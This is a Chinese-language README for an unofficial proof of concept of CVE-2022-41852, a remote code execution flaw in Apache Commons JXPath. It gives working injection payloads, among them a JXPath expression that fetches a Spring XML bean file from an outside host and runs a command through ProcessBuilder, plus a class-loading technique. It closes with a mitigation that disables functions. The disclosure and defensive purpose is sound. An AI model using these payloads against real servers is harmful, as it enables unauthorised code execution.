
CVE-2022-41852 概念验证(非官方)
CVE-2022-41852 允许攻击者在应用服务器上执行代码。
您可以在此处了解更多关于此漏洞的信息:
注意: 我不是此 CVE 的作者。我只是创建了这个概念验证。
JXPath 库支持在 XPath 表达式中运行函数 (请参阅官方用户指南)。
例如,如果您让用户向 path 参数发送输入,那么 JXPathContext.getValue(path) 和 JXPathContext.iterate(path) 方法将是危险的。
此 PoC 启动一个简单的 Spring 服务器,包含两个端点:
/vulnerable-example?path=[path]/secure-example?path=[path]这些端点只有一个查询参数 "path"。
以下请求将正常工作(不会导致任何问题):
以下请求将导致代码被执行:
用于检测 CVE-2022-41852 的示例 payload:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)可能有多种方式执行命令。其中一种是使用 Spring 的 ClassPathXmlApplicationContext:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")在 XML 文件中,您可以定义 bean 配置,例如,您可以创建 ProcessBuilder 的实例,
并通过使用 start() 方法初始化 bean 来在服务器上运行指定命令。
在以下示例中,将打开 Windows 机器上的计算器:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
还有一种方法是通过遍历上下文 bean 来加载新类,例如,以下代码将加载类 com.warxim.dangerous.DangerousClass,创建其实例并调用方法 run("warxim"):
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
注意,我们必须通过将包含方法的对象作为第一个参数传递来调用对象方法。
可以通过将 functions 字段设置为空的 FunctionLibrary 来禁用 JXPathContext 中的函数。
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
注意: 这将禁用所有函数,因此即使像 size() 这样的函数也将不可用。
修复正在开发中,请参阅 https://github.com/apache/commons-jxpath/pull/26